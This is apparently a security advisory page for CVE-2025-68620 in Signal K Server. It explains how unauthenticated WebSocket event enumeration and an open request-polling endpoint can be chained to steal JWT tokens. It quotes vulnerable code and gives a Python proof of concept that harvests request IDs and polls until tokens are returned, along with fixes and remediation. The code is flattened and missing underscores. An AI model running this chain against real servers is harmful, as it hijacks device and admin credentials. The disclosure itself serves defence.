CVE-2025-68620: Signal K Server vulnerable to JWT Token Theft via WebSocket Enumeration and Unauthenticated Polling

Published Jan 1, 2026
·
Updated

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the serverevents=all query parameter, the server sends all cached server events including ACCESSREQUEST events that contain details about pending access requests. The startServerEvents function iterates over app.lastServerEvents and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when allowreadonly is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at /signalk/v1/access/requests/:id returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The queryRequest function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues.

Other sources

SignalK Server exposes two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status.

Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the serverevents=all query parameter, the server sends all cached server events including ACCESSREQUEST events that contain details about pending access requests. The startServerEvents function iterates over app.lastServerEvents and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when allowreadonly is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses.

Unauthenticated Token Polling: The access request status endpoint at /signalk/v1/access/requests/:id returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The queryRequest function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access.

An attacker has two paths to exploit these vulnerabilities:

1. The attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token.

2. The attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials.

Both paths require zero authentication and enable complete authentication bypass.

Affected Code

File: src/events.ts (lines 40-43)

typescript Object.keys(app.lastServerEvents).forEach((propName) => { spark.write(app.lastServerEvents[propName]) })

All cached server events, including ACCESSREQUEST, are sent to any connected WebSocket client without permission checks.

File: src/tokensecurity.js (lines 946-948)

javascript strategy.getAccessRequestsResponse = () => { return filterRequests('accessRequest', 'PENDING') }

This function returns all pending requests with full details, which is then broadcast as a server event.

File: src/requestResponse.js (lines 108-135)

javascript function createReply(request, state, props) { const reply = { state: state, requestId: request.requestId }

if (request.updateCb) { props.forEach((prop) => { if (typeof request[prop] !== 'undefined') { reply[prop] = request[prop] // Includes 'token' when approved } }) } return reply }

When an access request transitions to COMPLETED state with APPROVED permission, the token is included in the reply object.

File: src/interfaces/rest.js (endpoint registration)

The /signalk/v1/access/requests/:id endpoint uses readonly authentication, allowing unauthenticated access when allowreadonly is true.

Impact

An attacker can obtain any JWT token issued by the server without authentication. By exploiting the social engineering vulnerability to request admin permissions, they receive a fully privileged admin token granting access to all protected endpoints including package installation, effectively bypassing authentication entirely. Additionally, attackers can hijack legitimate device credentials by stealing tokens intended for real devices.

PoC

python import json, websocket, requests, time

TARGETIP, TARGETPORT = "localhost", 3000 TARGETWS = f"ws://{TARGETIP}:{TARGETPORT}" TARGETHTTP = f"http://{TARGETIP}:{TARGETPORT}"

def pollfortoken(requestid, href): print(f"[] Polling started for request {requestid}") url = f"{TARGETHTTP}{href}" while True: try: r = requests.get(url) if r.statuscode == 200: data = r.json() state = data.get("state") print(f"[.] Request {requestid} state: {state}") if state == "COMPLETED": accessreq = data.get("accessRequest", {}) permission = accessreq.get("permission") token = accessreq.get("token") print(f"[] Request completed - Permission: {permission}, Token present: {bool(token)}") if token: print(f"[+] TOKEN STOLEN") print(f"[+] Permission: {permission}") print(f"[+] JWT Token: {token}") return token else: print(f"[-] Request {requestid} denied or no token") return None else: print(f"[-] HTTP {r.statuscode} for request {requestid}") except Exception as e: print(f"[-] Error polling {requestid}: {e}") time.sleep(5)

def monitorandstealtokens(): uri = f"{TARGETWS}/signalk/v1/stream?serverevents=all" print(f"[] Connecting to {uri}") ws = websocket.createconnection(uri) print("[+] Connected, monitoring for ACCESSREQUEST events...") while True: message = ws.recv() msg = json.loads(message) if msg.get("type") == "ACCESSREQUEST": print("[+] ACCESSREQUEST event received!") data = msg.get("data", []) if data: req = data[0] requestid = req.get('requestId') permissions = req.get('clientRequest', {}).get('permissions') href = req.get('href', f'/signalk/v1/requests/{requestid}') print(f"[] Found request: {requestid}") print(f"[] Closing WebSocket and starting polling...") ws.close() pollfortoken(requestid, href) break

if name == "main": monitorandstealtokens()

Recommendations

1. Require strict authentication for all WebSocket channels. The serverevents=all parameter should only be accessible to authenticated admin users. Unauthenticated or readonly users should not receive any server events. 2. Place ACCESSREQUEST events behind strict authentication. Even if other server events are available to readonly users, access request details must only be sent to authenticated administrators. 3. Implement client verification so only the original requester can retrieve their token 4. Consider delivering tokens through a separate secure channel rather than the polling endpoint

— GitHub

Affected Software

7 affected componentsFixes available
Signal K Signal K Server<2.19.0
npm/signalk-server<2.19.0
2.19.0
SignalK Signal K Server<2.19.0
SignalK Signal K Server=2.19.0-beta1
SignalK Signal K Server=2.19.0-beta2
SignalK Signal K Server=2.19.0-beta3
SignalK Signal K Server=2.19.0-beta4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/signalk-server to a version that resolves this vulnerability.

    Fixed in 2.19.0
  2. Upgrade

    Upgrade Signal K Server to a version that resolves this vulnerability.

    Fixed in 2.19.0
  3. Configuration

    Require strict authentication for all WebSocket channels and restrict the serverevents=all stream and ACCESS_REQUEST events to authenticated administrators; unauthenticated or readonly users should not receive server events.

    Signal K Server WebSocket server events serverevents=all authorization = Authenticated administrators only
  4. Configuration

    Require authentication for /signalk/v1/access/requests/:id and implement client verification so only the original requester can retrieve the token.

    Signal K Server access request status endpoint token retrieval authorization = Original requester only
  5. Compensating control

    Deliver issued tokens through a separate secure channel rather than the polling endpoint.

Event History

Jan 1, 2026
CVE Published
via MITRE·06:29 PM
Data Sourced
via MITRE·06:29 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:15 PM
DescriptionSeverityWeaknessAffected Software
Jan 2, 2026
Advisory Published
via GitHub·03:28 PM
Data Sourced
via GitHub·03:28 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-68620?

CVE-2025-68620 is considered a high severity vulnerability due to the potential for unauthorized access to sensitive JWT authentication tokens.

2

How do I fix CVE-2025-68620?

To fix CVE-2025-68620, upgrade Signal K Server to version 2.19.0 or later where the vulnerability has been addressed.

3

What versions of Signal K Server are affected by CVE-2025-68620?

Signal K Server versions prior to 2.19.0 are affected by CVE-2025-68620.

4

What type of attack is associated with CVE-2025-68620?

CVE-2025-68620 is associated with an attack that combines WebSocket-based request enumeration to exploit the exposure of JWT tokens.

5

Can CVE-2025-68620 be exploited without authentication?

Yes, CVE-2025-68620 can be exploited without any prior authentication, making it particularly dangerous.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203